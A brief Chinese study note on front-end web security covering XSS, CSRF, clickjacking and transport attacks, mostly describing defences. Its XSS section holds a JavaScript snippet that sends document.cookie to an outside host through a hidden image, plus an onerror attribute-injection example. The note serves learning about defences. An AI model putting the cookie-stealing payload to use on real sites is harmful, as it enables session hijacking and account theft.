# 前端常见安全问题

# xss cross-site-scripting 跨站脚本攻击

评论的时候,直接把用户的输入展示到前端,如果此时用户输入 script src="自己的js地址,那么此时就会形成攻击",

  1. 获取cookies,
  2. 获取 页面数据,
  3. 劫持前端逻辑
  4. 发送请求
var img = document.createElement('img');
img.width=0;
img.height=0;
img.src="http://debugs.cn/getcookie?cookies=" + document.cookie
1
2
3
4

# xss攻击分类

  1. 反射型,url带过来的。比如url是www.baidu.com?from=
  2. 存储型,用户提交数据,保存到数据库,其他用户访问的时候读取出来形成攻击

# 攻击方式

  1. html内容攻击,直接把用户输入的数据作为html直接插入
  2. 属性攻击,比如 <img src="1 【"onerror="http://www.debugs.cn?】">,【】内的内容是用户输入的
  3. 富文本

# 防御方式

  1. csp content security police (opens new window),内容安全策略来防御
  2. 浏览器自带的防御机制,可以防御反射性攻击,
  3. 将用户输入的数据在展示前进行转义,将尖括号,引号,空格
  4. 富文本白名单,将富文本用cheerio转为dom树,对所有表情转义,xss npm 包 (opens new window)

# csrf cross site request forgy 跨站请求伪造

# 防御方式

  1. samesite,大部分浏览器不支持
  2. ccap (opens new window) 网站提交数据的时候加入验证码
  3. token + csrftoken
  4. referer判断

# 点击劫持

  1. top !== window top.loation.href = window.location.href
  2. X-Frame-Options

# 传输安全

  1. http中间人攻击 switchhost
  2. 路由器 代理服务器 运营商劫持
  3. traceroute www.baidu.om
  4. curl -o www.baidu.com